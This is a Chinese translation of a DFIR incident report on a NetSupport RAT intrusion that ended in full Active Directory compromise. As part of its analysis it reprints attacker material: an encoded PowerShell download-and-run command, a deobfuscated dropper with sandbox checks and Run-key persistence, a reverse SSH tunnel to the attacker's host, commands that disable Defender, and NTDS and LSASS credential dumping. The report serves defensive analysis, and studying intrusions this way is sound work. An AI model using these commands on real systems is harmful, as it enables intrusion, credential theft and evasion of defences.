【DFIR报告翻译】从NetSupport持久化到AD域失陷
2023-11-13 20:14:38 Author: Desync InfoSec(查看原文) 阅读量:12 收藏

欢迎访问语雀知识库,获取最佳阅读体验:
https://www.yuque.com/safestplace/zh4qn2/sg11huyoxpt5xgyf
摘要

NetSupport Manager是目前市场上最古老的第三方远程访问工具之一,已有超过 33 年的历史。 这是我们第一次报告 NetSupport RAT 入侵,但对该工具的恶意使用至少可以追溯到 2016 年。在本报告中,我们将分析 2023 年 1 月利用 NetSupport RAT 渗透网络的案例,该 RAT 用于权限维持以及远程控制,从而导致整个AD域失陷。

技术总结

这次入侵始于一封包含恶意 Javascript 文件的 zip 压缩包附件的电子邮件。 电子邮件发送后,用户解压并执行了 Javascript 文件。 JavaScript 代码又运行了一个混淆后的 PowerShell 脚本。 PowerShell 脚本负责将 NetSupport 部署到系统上,并且检测当前运行环境不是一个沙箱,然后在注册表Run Key中新增启动项进行权限维持。

部署 NetSupport 五天后,攻击者使用 whoami、net 和 systeminfo 等各种 Windows 实用程序进行了初步侦察。 然后,攻击者尝试重新启用已禁用的域管理员帐户,但似乎没有成功。

几个小时后,该活动在最初的入口失陷主机上安装了 OpenSSH 服务器,以便后续的渗透行动。 为了连接到 OpenSSH 服务器,攻击者建立了一条从最初的入口失陷主机上到托管在 VPS 提供商上的自己服务器的反向 SSH 隧道。

使用前面提到的反向 SSH 隧道通过最初的入口失陷主机代理连接,攻击者创建了与域控制器的连接。 通过 SSH 隧道,攻击者利用Impackets atexec.py 发出各种发现命令,寻找特权组和加入域的计算机。

八小时后,攻击者更改了远程服务器上的防火墙设置,然后开始使用Impackets wmiexec.py进行进一步的横向移动。 攻击者使用 SMB 将 cab 文件复制到远程主机,然后使用 wmiexec.py 命令解压并运行它们。 解压的文件也是 NetSupport,但是,NetSupport会连接到新的C2服务器。 一旦运行,攻击者就会设置一个计划任务以在这些远程主机上维持权限。 然后,在远程主机上发出一些额外的信息收集命令。

威胁行为者第二天返回,在域控制器上部署 NetSupport。 通过此访问,他们继续转储 NTDS.dit 数据库。 转储后,他们使用 7-zip 来压缩文件。我们没有观察到具体的数据外传行为,但我们以中等评估该档案是通过现有的C2通道之一在网络上外传的。

不到一个小时后,威胁行为者转移到另一个域控制器并再次转储 NTDS.dit。 他们运行了 Pingcastle,一种AD审核工具。 运行时,他们使用 NetSupport 访问备份服务器来创建新帐户并将其添加到本地管理员和远程桌面组。 他们使用该帐户使用 RDP 登录,连接来自最初的入口失陷主机的代理。

登录后,他们使用了Netscan和netscan的激活工具。攻击者检查了 Microsoft Defender 的状态,然后将其禁用。 禁用保护后,他们使用了重命名的 ProcDump 二进制文件,并继续在域控制器和备份服务器上转储 LSASS。

此后,攻击者执行PowerShell 命令,从主机搜索并转储 Windows 事件 ID 4624 登录事件。 然后使用 7-zip 压缩这些文件,可能通过现有的C2通信进行数据外传。 攻击者还从域控制器浏览文件共享,打开过多个敏感文档。 然后 Netscan 被移至域控制器并在那里执行。 攻击者使用 WMI 执行了更多信息收集命令,然后进行了痕迹清理,例如结束Netscan和ssh的进程。

我们观察到的最终操作是攻击者在域控制器上投放两个 Nim 二进制文件。 然后,这些 Nim 二进制文件被用来尝试创建后门用户并将其提升到管理员级别权限。 我们没有观察到执行后创建的任何后门帐户。 经过我们自己的测试,我们发现该工具无法运行并返回错误。 此后,在攻击者被逐出网络之前,没有看到任何进一步的动手活动。

入侵时间线

入侵路径分析
01
边界突破

本次入侵始于电子邮件发送给受害者的 ZIP 文件。 据 Brad/@malware_traffic(感谢 Brad!)称,这类钓鱼攻击活动在 2022 年 12 月下旬至 2023 年 1 月中旬期间比较活跃。 https://www.malware-traffic-analysis.net/2022/12/28/index.html记录了早期的示例,使用 USPS 交付主题,在入侵案例中C2服务器的IP相同。 解压 ZIP 文件后,用户将看到一个 JavaScript 文件。

用户双击这个JS文件后,系统会调用WScript.exe执行这个脚本。

02
执行

部署NetSupport

在用户运行解压后的文件时,WScript.exe执行了2326.js脚本

运行后,2326.js 会调用编码的 PowerShell 命令,从hxxp://1otal.com/index/index.php 下载并执行PowerShell脚本。

"C:\Windows\System32\cmd.exe" /c PowersheLl -nop -w hidden -ep bypaSS -enC SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQBvAHQAYQBsAC4AYwBvAG0ALwBpAG4AZABlAHgALwBpAG4AZABlAHgALgBwAGgAcAAiACkA

从 hxxp://1otal.com/index/index.php 下载的内容采用混淆的 PowerShell 脚本的形式,负责 NetSupport 的初始部署。 该脚本的完整混淆内容可以在此链接

https://gist.github.com/iamaleks/c289bcfc460f85f830726694e2446c8c上找到。

以下是反混淆的 NetSupport 部署脚本。 请注意,由于篇幅问题,这段代码是原始代码的缩减版本。

# Get Script Filename${ScriptPath} = Split-Path -parent ${MyInvocation}.MyCommand.Definition
# Check Script Filename Agianst a Blacklistif (${ScriptPath} -match "avast") {exit}if (${ScriptPath} -match "avg") {exit}if (${ScriptPath} -match "sample") {exit}if (${ScriptPath} -match "analysis") {exit}if (${ScriptPath} -match "malware") {exit}if (${ScriptPath} -match "sandbox") {exit}if (${ScriptPath} -match "virus") {exit}# Wrapper Function around Convert-StringToBinaryfunction React (${Source}, ${Destination}){ Convert-StringToBinary -InputString ${Source} -FilePath ${Destination};}
# Write a Base64 Encoded String to Diskfunction Convert-StringToBinary (${InputString}, ${FilePath}){ ${file}= ${InputString}
${Data} = [System.Convert]::FromBase64String(${file}) ${MemoryStream} = New-Object "System.IO.MemoryStream" ${MemoryStream}.Write(${Data}, 0, ${Data}."Length") ${MemoryStream}.Seek(0,0) | Out-Null
${DecompressedStream} = New-Object System.IO.Compression.GZipStream(${MemoryStream}, [System.IO.Compression.CompressionMode]::Decompress) ${StreamReader} = New-Object System.IO.StreamReader(${DecompressedStream}) ${t} = ${StreamReader}.ReadToEnd()
${ByteArray} = [System.Convert]::FromBase64String(${t}); [System.IO.File]::WriteAllBytes(${FilePath}, ${ByteArray});}
# The Install Function is invoked at the end of the script and will have the main execution logic.function Install{ # Registry Path Variables for Persistence, these are written to towards the end of the script. [string] ${reg_key} = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" [string] ${reg_name} = "SoftwareUpdater"
# Embedded File Variables ${File1} = Gzip Compressed and Base64 Encoded presentationhost.exe ${File2} = Gzip Compressed and Base64 Encoded client32.ini # NetSupport client configuration ${File3} = Gzip Compressed and Base64 Encoded HTCTL32.DLL # Dependency DLL ${File4} = Gzip Compressed and Base64 Encoded msvcr100.dll # Dependency DLL ${File5} = Gzip Compressed and Base64 Encoded nskbfltr.inf # NetSupport component file ${File6} = Gzip Compressed and Base64 Encoded NSM.ini # NetSupport component file which tells the installer which components to install ${File7} = Gzip Compressed and Base64 Encoded NSM.lic # NetSupport license information file ${File8} = Gzip Compressed and Base64 Encoded pcicapi.dll # Dependency DLL ${File9} = Gzip Compressed and Base64 Encoded PCICHEK.DLL # Dependency DLL ${File10} = Gzip Compressed and Base64 Encoded PCICL32.DLL # Dependency DLL ${File11} = Gzip Compressed and Base64 Encoded remcmdstub.exe ${File12} = Gzip Compressed and Base64 Encoded TCCTL32.DLL # Dependency DLL
# Generate Random Folder Name with 8 alphanumeric characters ${RandF}=( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | Get-Random -Count 8 | &('%') {[char]${_}}) ) ${FPath} ="$env:appdata\$Randf" mkdir ${FPath}
[string] ${ClientName} = "presentationhost.exe" [string] ${remcmdstub} = "remcmdstub.exe"
React -source ${File1} -destination "$FPath\"+"$ClientName" React -source ${File2} -destination "$fpath\client32.ini" React -source ${File3} -destination "$fpath\HTCTL32.DLL" React -source ${File4} -destination "$fpath\msvcr100.dll" React -source ${File5} -destination "$fpath\nskbfltr.inf" React -source ${File6} -destination "$fpath\NSM.ini" React -source ${File7} -destination "$fpath\NSM.lic" React -source ${File8} -destination "$fpath\pcicapi.dll" React -source ${File9} -destination "$fpath\PCICHEK.DLL" React -source ${File10} -destination "$fpath\PCICL32.DLL" React -source ${File11} -destination "$fpath\$remcmdstub" React -source ${File12} -destination "$fpath\TCCTL32.DLL"
# Establish Persistance in Run Key New-ItemProperty -Path "$reg_key" -Name "$reg_name" -Value "$fpath\$clientname" -PropertyType "String"
# Start NetSupport Start-Process "$fpath\$clientname"
# Remove Files ${F}= Get-Content "$env:temp\insghha4.txt" Remove-Item $env:TEMP\*.ps1 Remove-Item ${F}}
############################################################# Begin Execution Here By Invoking the Install Function #############################################################Install

NetSupport 部署脚本执行以下步骤:

1. 根据文件名列表检查脚本的执行名称,如果有匹配,则脚本将退出。

  ○ 检查的名称包括 avast、avg、sample、analysis、malware、sandbox 和virus。

2. NetSupport 部署所需的所有文件都打包在部署脚本内。 所有这些文件将被提取到用户%APPDATA%目录下的随机命名的文件夹中。

  ○ 随机命名的文件夹将是 8 个随机生成的字母和数字的组合,例如 %APPDATA\8EDX3iOx 或 %APPDATA%\KcEwrg3X 。

3. NetSupport 可执行文件将添加到注册表Run key中以实现权限维持。

4. 然后将调用 NetSupport 可执行文件开始执行。

NetSupport 脚本在 %APPDATA% 文件夹中创建所有必需的文件如下

此外,在 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 中添加了一个用于presentationhost.exe (NetSupport) 的条目。

最后,PowerShell进程会直接执行NetSupport二进制文件。

批处理脚本

我们观察到攻击者使用批处理脚本来自动执行一些任务,例如信息收集、转储凭据和权限维持。

03
权限维持

在入侵的开始阶段,NetSupport 部署脚本用于使用用户注册表配置单元下的 Run Key来维持权限。 有关更多详细信息,请参阅代码执行部分。

由于部署脚本基于 PowerShell,因此注册表活动的源进程将显示为 powershell.exe。

此外,攻击者还创建了一个计划任务来启动 OpenSSH SSH 服务器,并更改了特定配置,以使 OpenSSH 在端口 2222(而不是 22)上进行本地侦听。

schtasks.exe /create /sc minute /mo 1 /tn "SSH Server" /rl highest /tr "C:\ProgramData\sshd\sshd.exe -f C:\ProgramData\sshd\config\sshd_config"

按照前面的命令,另一个计划任务创建了到攻击者服务器的反向 SSH 隧道。 请参阅横向移动部分,了解这如何帮助攻击者的入侵活动。

schtasks.exe /create /sc minute /mo 1 /tn "SSH Key Exchange" /rl highest /tr "C:\ProgramData\sshd\ssh.exe -i C:\ProgramData\sshd\config\keys\id_rsa -N -R 369:127.0.0.1:2222 [email protected] -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15"

与 OpenSSH 相关的整个过程是由攻击者通过名为 install.bat 的脚本自动化完成的。 在本例中,脚本使用 ssh-keygen 生成新的私钥,并使用 icacls 更正文件的权限; 这是必需的,因为如果私钥的权限过于开放,SSH 将退出并出现错误。 有关在计划任务中执行的 SSH 隧道命令的更多详细信息,请参见远程控制章节。

攻击者在入侵过程中创建了一个本地用户帐户,并将该用户添加到管理员组和远程桌面用户组中。 新创建的用户帐户的命名WDAGUtilityAccount2,与 Windows 上存在的默认用户帐户 WDAGUtilityAccount 类似,起到视觉混淆的效果。

net  user WDAGUtilityAccount2 Decryptme1488@ /addnet  localgroup Administrators WDAGUtilityAccount2 /addnet  localgroup "Remote Desktop Users" WDAGUtilityAccount2 /add

最后,攻击利用基于 NIM 的工具通过哈希传递进行身份验证并创建新的本地管理员用户。

下面展示了该工具可用的命令行参数。

查看文件中的字符串,我们可以发现这些是已编译的 NIM 二进制文件。

进一步筛选字符串,我们偶然发现了用于创建用户帐户的命令。

@%COMSPEC% /C "net user localend Decryptme7 /add"

我们还看到用于尝试将用户添加到管理员组的命令。

我们没有观察到执行阶段之后攻击者创建的任何后门帐户。 当我们进行自己的测试时,我们发现这些工具无法工作,并且会返回错误而不是创建帐户。

04
防护绕过

在这次入侵期间,攻击者主要关注的是逃避 Microsoft Defender 的检测。 在整个入侵过程中可以多次看到这种情况,攻击者在执行凭据收集或横向移动操作后使用 powershell Get-MpThreat检查来自 Defender 的历史警报。

在入侵期间,我们观察到攻击者多次尝试添加排除项,并最终尝试使用以下命令禁用本地 Defender。 攻击者在命令执行过程中犯了几个拼写错误,表明是动手操作而不是照本宣科。

powershell  Get-MpThreatpowershell  Get-MpPreferencepowershell  Add-MpPreference -ExclustionPath c:\users\publicpowershell  Add-MpPreference -ExclusionPath c:\users\publicpowershell  Add-MpPreference -ExclusionProcess c:\users\public\mpms.exepowershell  Add-MpPreference -DisableBehaviourMonitoring Truepowershell  Add-MpPreference -DisableBehaviorMonitoring Truepowershell  Add-MpPreference -DisDisableRealtimeMonitoring True

上述命令的 mpms 可执行文件是重命名的 ProcDump 二进制文件。 它被重命名可能是为了规避基于文件名的检测。

经过一番操作后,攻击者进入了 Microsoft Defender 软件的“Scans”目录,该目录位于:

C:\ProgramData\Microsoft\Windows Defender\Scans\History\

除了检查 Windows Defender 历史扫描文件外,威胁参与者还再次使用 Get-MpThreat Cmdlet 查询 Windows Defender 检测到的威胁的历史记录。

在入侵过程中,威胁行为者严重依赖工具包 Impacket(尤其是 atexec.py 和 wmiexec)。 为了正常运行某些功能,在实际执行 atexec.py 和 wmiexec 之前修改了基于主机的防火墙:

cmd.exe /C netsh advfirewall firewall add rule dir=in name="DCOM" program=C:\Windows\system32\svchost.exe service=rpcss action=allow protocol=TCP localport=135 > C:\Windows\Temp\VlPWyecW.tmp 2>&1cmd.exe /C netsh advfirewall firewall add rule dir=in name="DCOM" program=C:\Windows\system32\svchost.exe service=rpcss action=allow protocol=TCP localport=135 > C:\Windows\Temp\pOrnerOW.tmp 2>&1cmd.exe /C netsh advfirewall firewall add rule dir=in name ="WMI" program=C:\Windows\system32\svchost.exe service=winmgmt action = allow protocol=TCP localport=any > C:\Windows\Temp\XsssmLZZ.tmp 2>&1cmd.exe /C netsh advfirewall firewall add rule dir=in name ="UnsecApp" program=C:\Windows\system32\wbem\unsecapp.exe action=allow > C:\Windows\Temp\HaALurWi.tmp 2>&1cmd.exe /C netsh advfirewall firewall add rule dir=out name ="WMI_OUT" program=C:\Windows\system32\svchost.exe service=winmgmt action=allow protocol=TCP localport=any > C:\Windows\Temp\WkiMfXXo.tmp 2>&1

在入侵过程中,攻击者多次利用内嵌文件 (.cab)。 这些是存档文件,支持无损数据压缩。 它们主要用于分发设备驱动程序和系统文件。 然而,在这种情况下,攻击者使用与传统 .zip 存档类似的功能,并将其内容存储在 programdata 目录下。

cmd.exe /Q /c expand cache.cab -F:* c:\programdata

解压后,我们发现了一个伪装成Windows组件的NetSupport可执行文件。 可执行文件名为mswow86.exe。 攻击者创建了一个计划任务来在每次登录时运行它。

cmd.exe /Q /c start "" %%programdata%%\schcache\mswow86.execmd.exe /Q /c schtasks.exe /create /sc onlogon /tn "Wow64 Subsystem" /rl highest /tr "%%programdata%%\schcache\mswow86.exe

所有的文件命名都在意图伪装成正常的系统应用。

06
凭证窃取

我们观察到攻击者两个不同的域控制器上使用批处理脚本将 ntds.dit 数据库转储,关于命令的解释请参考:https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration

powershell.exe  "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\users\public\ntds' q q"powershell.exe  "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\ProgramData\ntdsutil' q q"

如防御规避部分所示,攻击者使用了 Sysinternals 工具 ProcDump。攻击者执行find命令来识别 lsass.exe 进程的 PID。 这使他们能够定位正确的进程来转储 lsass:

虽然看起来这不起作用,因为 find 命令没有查找目标,但攻击者很可能通过管道将tasklist连接在一起,因为我们同时看到了tasklist的执行:

这可能是执行类似以下内容的结果 (tasklist | find /i "lsas" ):

使用重命名的 ProcDump 实用程序,攻击者转储了 lsass.exe 进程内存,该进程可用于获取更多凭据信息:

mpms.exe  -accepteula -ma 632mpms.exe  -accepteula -ma 716
07
内网探测

攻击者在目标系统上执行了几个常见的信息收集命令。 这些与用户、主机和网络配置信息的发现有关。 威胁参与者通过 NetSupport 代理进行连接,然后开始通过 cmd.exe 运行命令

以下是观察到的第一批执行的发现命令。 从整个入侵过程中可以看出,威胁行为者犯了一些小错误,要么是拼写错误,要么是命令功能上的错误:

whoaminet usernet user /domainwhoami /allnet user <PRIV_ACCOUNT>net group "Domain Admins" /domainsysteminfocmdkey /list

我们观察到攻击者快速查询特定帐户。 该帐户是本地管理员和域管理员。 然而,该帐户并未激活,攻击者试图启用它,但在此过程中犯了一些错误:

nltest /dclist:<REDACTED>cmdkey /add:<DC_NAME> /user:<DOMAIN>\<PRIV_ACC> /pass:REDACTED net user <PRIV_ACC> /domainwhoaminet user <USER_ACCOUNT> /domaincmdkey /del:<DC_NAME>cmdkey /add:"<DC_NAME>" /user:<DC_NAME>\<PRIV_ACC> /pass:REDACTEDcmdkey /del:"<DC_NAME>"net user <PRIV_ACCOUNT>cmdkey /add:"<DC_NAME>" /user:<DC_NAME>\<PRIV_ACC> /pass:REDACTED net user /add:"<BEACHHOST>" /user:<DOMAIN_NAME><PRIV_ACC>/pass:REDACTEDcmdkey /listcmdkey /del:"<DC_NAME>"cmdkey /del:"<BEACHHOST>" 

以上手工执行的操作,我们发现了一些错误:

● 第一个cmdkey 的用法其实是正确的,但是账户没有激活。

● 使用/add 需要使用域凭据,而不是计算机凭据。

● 在命令中添加引号,这并不重要。

在这次之后,攻击者尝试了其他方式,寻找与 SYSVOL 共享相关的信息。 此外,攻击者还寻找 SSH 进程。 系统上没有安装该服务器,因此攻击者安装了自己的 SSH 服务器,如“权限维持”章节所示。 此外,攻击者还尝试找到其他域控制器:

net view \\<DOMAIN_NAME>.localnet view \\<DOMAIN_NAME>.local\sysvolnet view \\<DOMAIN_NAME>.local\SYSVOLwhoami /alltasklistfind /i "ssh" ping -n 1 <DOMAIN_NAME>.localping -n 1 <DC1>.<DOMAIN_NAME>.localping -n 1 <DC2>.<DOMAIN_NAME>.localping -n 1 <DC3>.<DOMAIN_NAME>.localarp -aping -n 1 REDACTEDping -n 1 -a REDACTEDping -n 1 -a REDACTEDping -n 1 -a REDACTEDnet view REDACTED

除了可识别的 atexec.py 特征http://atexec.py/之外,这篇精彩的读物还解释了如何在 Windows 事件日志中狩猎 atexec.py:https://u0041.co/blog/post/1

cmd.exe /C net group /domain > C:\Windows\Temp\aWatKmSa.tmp 2>&1

执行结果:

经过三秒后:

除此之外,我们还发现wmiexec的运行痕迹:

cmd.exe /Q /c cmdkey /list 1> \\127.0.0.1\ADMIN$\__REDACTED 2>&1cmd.exe /Q /c dor 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1cmd.exe /Q /c whoami 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1cmd.exe /Q /c whoami 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1cmd.exe /Q /c cd programdata 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1cmd.exe /Q /c ls 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1cmd.exe /Q /c dir 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1cmd.exe /Q /c expand cache.cab -F:* c:\programdata 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1cmd.exe /Q /c whoami /all 1> \\127.0.0.1\ADMIN$\____REDACTED  2>&1

Impacket 执行结束后,攻击者继续在域控制器和备份服务器上进行信息收集,其中使用其他工具进行扫描探测。 第一个是 PingCastle,一个AD审核工具。 在域控制器上,攻击者执行了以下命令:

whoaminet  group "Domain Admins"quserC:\ProgramData\start.bat ➝ starting "pingcastle.exe --healthcheck --level Full"C:\ProgramData\ntds.bat   ➝ script to dump the ntds

第二个是 SoftPerfect Network Scanner。 该实用程序通常被攻击者使用。 虽然是付费实用程序,但许多人使用免费试用版。 然而,在这次入侵期间,攻击者显然没有为其版本付费,因为他们带来了自己的激活工具。 在备份服务器上,攻击者执行了以下命令:

 "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Public\netscan_portable\" -spe -an -ai#7zMap24244:76:7zEvent17814
C:\Users\Public\netscan_portable\64-bit\SoftPerfect_<REDACTED>Patch_Keygen_v2<REDACTED>.exe" "C:\Users\Public\netscan_portable\64-bit\netscan.exe"

在入侵的后期阶段,攻击者从域控制器转储了事件 4624 日志。 这些被写入文件 mf.txt。 该文件后来被添加到 zip 存档中。 该文件未在转储的主机上查看。 转储这些日志可能是为了检查整个环境中的用户登录活动。

powershell  -w hidden -C "Get-WinEvent -Logname 'security' -FilterXPath '*[System[EventID=4624]]' -MaxEvents 1 | sort-object timeCreated | select-object -ExpandProperty message"powershell  -w hidden -C "Get-WinEvent -Logname 'security' -FilterXPath '*[System[EventID=4624]]' | sort-object timeCreated | select-object -ExpandProperty message"

我们观察到攻击者从域控制器连接到文件服务器并浏览系统上的多个秘密文档。

此外,我们还看到攻击者使用 7-zip 来打包之前转储的 ntds 和一个名为 mf.txt 的文本文件。

08
横向移动

攻击者大量使用远程控制部分中讨论的反向 SSH 隧道来协助横向移动。 通过这条隧道,攻击者能够使用多种不同的技术(包括 WMI 和 RDP)将其从最初的入口失陷主机代理到网络中的其他资产。

正如发现部分中提到的,Impacket 的 atexec 模块在 SSH 隧道中使用,将流量代理到域控制器,以协助横向移动。 在 atexec 执行之间,我们看到与横向移动行为相匹配的 Windows 安全事件日志:

SMB

在入侵期间,攻击者使用 SMB 将文件复制到其他系统。 在这里,文件没有通过网络以明文方式发送,从而绕过了流量检测,但我们能够通过文件共享审核事件的事件 ID 5145 检测文件创建和删除情况。 在日志中,我们可以看到文件写入期间的 AccessMask 为 0x2,随后在文件删除操作期间为 0x10080。

WMI

Impacket 的 wmiexec 工具用于在整个环境中进行横向移动,提取存档文件cache.cab,并执行计划任务以在远程系统上运行 NetSupport RAT。

有关进程命令行参数的详细信息,请参阅之前的报告。https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/#lateral-movement

RDP

攻击者使用了远程桌面协议 (RDP) 从最初的入口失陷主机横移到网络上的两台服务器和两个域控制器。 我们可以使用登录类型为 10 的 Windows 事件 ID 4624 来验证此活动。每当用户通过远程交互式登录(RDP 或其他远程桌面服务)成功登录到计算机或服务器时,就会触发此日志。

下面展示了威胁行为者在此次入侵的第八天从最初的入口失陷主机向网络内的各个服务器发起 RDP 会话。

下图展示了此事件中看到的完整网络架构和横向移动。

在入侵过程中,威胁参与者在 RDP 会话期间的各种 Windows 事件日志中泄露了两个不同的主机名。

DESKTOP-TBDQ6K1WIN-5ODCFIGQRP3

例如Windows 事件ID:4776

例如Windows 事件ID:4624

例如Windows 事件ID:4779

10
远程控制

NetSupport

如边界突破部分中所述,NetSupport 部署脚本将 client32.ini 文件写入 AppData 路径,该路径指定主回连服务器和备份回连服务器:

主回连服务器 npinmclaugh11[.]com:2145 未成功,因为它解析为 IP 127.0.0.127。 因此,所有通信都通过位于 npinmclaugh14[.]com:2145 的备份回连服务器进行路由。

Dns query:RuleName: -UtcTime: <DAY 1> 03:34:16.236ProcessGuid: {a9d5a793-0bb7-63ca-9404-000000000300}ProcessId: 7648QueryName: Npinmclaugh11.comQueryStatus: 0QueryResults: 127.0.0.127;Image: C:\Users\<REDACTED>\AppData\Roaming\eHNjqgzZ\presentationhost.exeUser: <REDACTED>Dns query:RuleName: -UtcTime: <DAY 1> 03:34:18.828ProcessGuid: {a9d5a793-0bb7-63ca-9404-000000000300}ProcessId: 7648QueryName: Npinmclaugh14.comQueryStatus: 0QueryResults: 89.185.85.44;Image: C:\Users\<REDACTED>\AppData\Roaming\eHNjqgzZ\presentationhost.exeUser: <REDACTED>

第一天攻击者在端口 2145 上建立了与 89.185.85.44 的 NetSupport 连接; 然而,在入侵的第五天,另一个 NetSupport client32.ini 文件被部署到网络上的其他资产,引入了新的会连服务器 wsus-isv-local[.]tech:133 和 wsus-isv-internal[ .]tech:133。

Dns query:RuleName: -UtcTime: <DAY 4> 22:26:27.990ProcessGuid: {1dc91c81-5b19-63d0-0806-000000000600}ProcessId: 4852QueryName: wsus-isv-local.techQueryStatus: 0QueryResults: 79.137.206.37;Image: C:\ProgramData\schcache\mswow86.exeUser: <REDACTED>\Administrator

下表提供了 NetSupport 在此事件期间使用的所有域名和 IP :

NetSupport C2 Domain

DNS Resolve Status

Resolved IP

npinmclaugh11[.]com

NOERROR

127.0.0.127

npinmclaugh14[.]com

NOERROR

89.185.85.44

wsus-isv-local[.]tech

NOERROR

79.137.206.37

wsus-isv-internal[.]tech

NXDOMAIN

N/A

SSH Tunnelling

在这次入侵的第五天,在最初的入口失陷主机创建了两个计划任务(“SSH Server”和“SSH Key Exchange”),为远程系统 185.206.146.129 建立在端口 2222 上运行的本地 SSH 服务器。

用于在计划任务中建立反向 SSH 隧道的命令描述如下:

下图描述了从受害者网络到攻击者 VPS 的 SSH 反向隧道。



















12
数据窃取

在入侵过程中,我们注意到攻击者暂存了感兴趣的数据。 很可能通过加密的 C2 通道泄露了数据; 然而,我们没有这种行为的证据。 ntds.dit 可用于从 Active Directory 转储哈希值,然后可以使用 Hashcat 等工具对其进行破解。 文件 mf.txt 包含事件 ID 为 4624 的所有转储事件。可以对其进行离线分析,以确定可能感兴趣的帐户,而无需主动查询 Active Directory。 我们没有观察到具体的数据外传行为,因此只能推测攻击者可能通过现有的C2通道进行外传。攻击者似乎也对某些文件感兴趣,但我们只观察到这些文件的打开情况,没有任何外传尝试。


















12
达成目标

在发生任何进一步的影响之前,攻击者已被逐出网络。                               

钻石模型
IoCs

Atomic

1otal[.]com
79.137.202.132
185.206.146.129
npinmclaugh11[.]com
npinmclaugh14[.]com
89.185.85.44
wsus-isv-local[.]tech
79.137.206.37
wsus-isv-internal[.]tech

Computed

2326.js
72dc8b8b6c7c083128728b8405fa5a8f
9060c11e7d18d7047ad81aa4241187eebd93c0da
b1f52abc28427c5a42a70db9a77163dde648348e715f59e8a335c7252ae4a032

NSM.LIC
e9609072de9c29dc1963be208948ba44
03bbe27d0d1ba651ff43363587d3d6d2e170060f
dc6a52ad6d637eb407cc060e98dfeedcca1167e7f62688fb1c18580dd1d05747

NSM.ini
88b1dab8f4fd1ae879685995c90bd902
3d23fb4036dc17fa4bee27e3e2a56ff49beed59d
60fe386112ad51f40a1ee9e1b15eca802ced174d7055341c491dee06780b3f92

PingCastle.exe
ecb98b7b4d4427eb8221381154ff4cb2 PingCastle.exe
72dbb719b05f89d9d2dbdf186714caf7639daa36
768021fc242054decc280675750dec0a9e74e764b8646864c58756fa2386d2a2

client32.ini
729711d44606095a4727aed7ff4d864d
8af9952f5e0fa84606f588c5704c5a5ab7e06822
bba34ad7183d7911f7f2c53bfe912d315d0e44d7aa0572963dc003d063130e85

client32u.ini
7ba6ead2477bd9956886086f69552ac6
3a8c2155f9b97e06f3d9990387492ef0260f6209
aa92645428fb4c4e2cccbdf9b6acd7e6a51eecc2d6d63d7b8fe2e119e93c2bb5

install.bat
b0f3b2741a50a3608f5c7f898d14c571
3021194d590f5dfb32fb24c7d0e359c4db2f9178
041b0504742449c7c23750490b73bc71e5c726ad7878d05a73439bd29c7d1d19

mswow86.exe
c60ac6a6e6e582ab0ecb1fdbd607705b
ba9de479beb82fd97bbdfbc04ef22e08224724ba
4d24b359176389301c14a92607b5c26b8490c41e7e3a2abbc87510d1376f4a87

netscan32.exe
d1212fb5c6333c218f62f3f83341539c
19be503233f0eda426a418addc82edecf223af9d
097f2a0e032bf20757e004e80c9a2640f41b8514e32d42004632de7c721b015f

netscan64.exe
b30025427a546c23b122eea43171ef21
f85c2447003221f59c9f0fa6654464ac78015be3
5ef9844903e8d596ac03cc000b69bbbe45249eea02d9678b38c07f49e4c1ec46

nskbfltr.inf
26e28c01461f7e65c402bdf09923d435
1d9b5cfcc30436112a7e31d5e4624f52e845c573
d96856cd944a9f1587907cacef974c0248b7f4210f1689c1e6bcac5fed289368

nsm_vpro.ini
3be27483fdcdbf9ebae93234785235e3
360b61fe19cdc1afb2b34d8c25d8b88a4c843a82
4bfa4c00414660ba44bddde5216a7f28aeccaa9e2d42df4bbff66db57c60522b

ntds.bat
ab828b585b4c2ce90171e5e0b13aaa55
5454d444aeefda5fb251b081218082ec858b94d3
060e9ff09cd97ec6a1b614dcc1de50f4d669154f59d78df36e2c4972c2535714

remcmdstub.exe
6fca49b85aa38ee016e39e14b9f9d6d9
b0d689c70e91d5600ccc2a4e533ff89bf4ca388b
fedd609a16c717db9bea3072bed41e79b564c4bc97f959208bfa52fb3c9fa814

start.bat
2736d3a1aa9cba6fa61db380d4bdf447
2848dc0e665eb1b2508b75b4375c6937ab9a4968
4c0736c9a19c2e172bb504556f7006fa547093b79a0a7e170e6412f98137e7cd
B

pth_addadmin.exe
4b0f482757876a3e07b94d2390d9906c
141cd13c6fe9cf00d513b8e4cbc9b94b3ca9f4b3
3bee705c062227dcb2d109bf62ab043c68ba3fb53b1ce679dc138273ba884b08

pth_createuser.exe
a02d89b0210671b3519c5d3818188e53
ad58d012e2bacc87f348e72e1377cf35bc6c9ebd
e42620721f5ec455a63cded483d18dfa5abdabca3319b0a4e3e21bd098348d48

Detections

Network

ET INFO NetSupport Remote Admin Checkin
ET INFO NetSupport Remote Admin Response
ET MALWARE NetSupport RAT with System Information
ET POLICY NetSupport GeoLocation Lookup Request
